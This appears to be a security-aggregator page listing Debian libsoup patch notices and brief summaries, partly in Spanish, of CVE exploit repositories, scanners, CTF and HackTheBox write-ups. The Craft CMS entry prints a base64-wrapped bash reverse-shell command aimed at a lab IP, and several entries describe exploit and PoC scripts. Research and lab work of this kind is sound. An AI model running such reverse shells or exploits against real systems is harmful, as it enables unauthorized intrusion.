ROOT-OS-DEBIAN-12-CVE-2025-32911 CVE-2025-32911 in libsoup2.4 - Patched by Root

Root has patched CVE-2025-32911 in the libsoup2.4 package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2025-14523 CVE-2025-14523 in libsoup2.4 - Patched by Root

Root has patched CVE-2025-14523 in the libsoup2.4 package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2025-32049 CVE-2025-32049 in libsoup2.4 - Patched by Root

Root has patched CVE-2025-32049 in the libsoup2.4 package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2025-32906 CVE-2025-32906 in libsoup2.4 - Patched by Root

Root has patched CVE-2025-32906 in the libsoup2.4 package for Root:Debian:12. Multiple fixed versions available...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

CVE-2025-20362-Cisco-Scanner

CVE-2025-20362 Scanner Un escáner Python seguro y no destructivo para bypass de autenticación WebVPN en Cisco ASA / FTD CVE-2025-20362. CVE-2025-20362 permite a atacantes no autenticados eludir la autenticación y acceder a recursos WebVPN restringidos mediante fallos de path traversal /...

CVE-2025-55182-Exploit-PoC-Scanner

CVE-2025-55182 - Exploit RCE de React Server Components v2.0 Una herramienta integral de investigación de seguridad para probar las vulnerabilidades CVE-2025-55182 y CVE-2025-66478 en React Server Components RSC y Next.js Server Actions. Resumen de la vulnerabilidad...

CVE-2025-46811-challenge

CVE-2025-46811 Challenge A security challenge environment for CVE-2025-46811 vulnerability research. Prerequisites Control Node Ansible Host Install the following system packages: root@kitploit: apt install python311 python311-pip sshpass rsync Install Ansible via pip: root@kitploit: pip install...

poc_CVE-2025-24016

This repository does not have a README...

CVE-2025-24971

This repository does not have a README...

Explosive-As-Hell-MCS-Qualifer-Web-500

CVE-2025-55182 — Componentes del Servidor React RCE | Writeup de CTF Categoría: Explotación Web | Dificultad: Media | Vulnerabilidad: Ejecución Remota de Código → Escalada de Privilegios SUID TL;DR El endpoint de Componentes del Servidor React vulnerable a CVE-2025-55182 RCE → enumeró binarios SU...

CVE-2025-3102

Este repositorio no tiene un README...

POC_CVE-2025-69194

CVE-2025-69194: Vulnerabilidad de Path Traversal en GNU Wget2 📝 Descripción PoC para CVE-2025-69194 , una vulnerabilidad crítica de Path Traversal en GNU Wget2 = 2.2.0 verificado en v1.99.1. Esta vulnerabilidad permite a atacantes lograr la escritura o sobrescritura arbitraria de archivos en el...

Web-Penetration-Test

Web-Penetration-Test Exploiting WordPress vulnerabilities CVE-2025-34077, authentication bypass via cookie injection, and privilege escalation to root. Part of my Cybersecurity Specialization. Day 1: Hacking my First Website Lab Report: Exploiting the "BigWear" Server In this first session of my...

cve-2025-5548-freefloat-ftp-walkthrough

CVE-2025-5548 – FreeFloat FTP Server 1.0 Walkthrough Repositorio donde documentamos paso a paso el análisis y la explotación controlada de la CVE-2025-5548 en FreeFloat FTP Server 1.0 dentro de un entorno de laboratorio. En este proyecto no nos limitamos a ejecutar un exploit ya preparado. Nuestr...

HTB-Pterodactyl-Writeup

HackTheBox — Writeup de Pterodactyl Dificultad: Media | SO: Linux openSUSE Leap 15.6 | Temporada: 10 Resumen Pterodactyl es una máquina Linux de dificultad media que ejecuta el panel de servidor de juegos Pterodactyl. La cadena de ataque involucra una vulnerabilidad LFI a RCE sin autenticación en...

React2Shell

RSC Sentinel Una extensión de Firefox para detectar vulnerabilidades React2Shell CVE-2025-55182 y CVE-2025-66478 en aplicaciones web. 👁️ Descripción general RSC Sentinel es una extensión de navegador Firefox para investigadores y educadores de seguridad que desean observar los indicadores de React...

CVE-2025-31161

CVE-2025-31161 - Script de Explotación de CrushFTP Descripción Este repositorio contiene un script en Python para interactuar con el servicio CrushFTP vulnerable a CVE-2025-31161. El script permite listar usuarios existentes y agregar un usuario malicioso explotando la vulnerabilidad...

CVE-2025-5548

🛡️ Investigación y Explotación: CVE 2025-5548 Este es el repositorio principal donde documento mi progreso en el análisis del CVE 2025-5548. En este espacio registro cada fase del proceso: desde la preparación del laboratorio hasta el desarrollo del exploit final. 📂 Estructura del Repositorio A...

CVE-2025-29927-Proof-of-Concept

Walkthrough Paso 1 5 min Pista ¿Qué servicios de red expone el objetivo? — — — Solución root@kitploit: kali@kali:$ nmap kali@kali:$ nmap -sC -sV -p Paso 2 5 min Pista 1 La página de inicio solo muestra una página de inicio de sesión, pero los servidores web a menudo exponen rutas adicionales. Pis...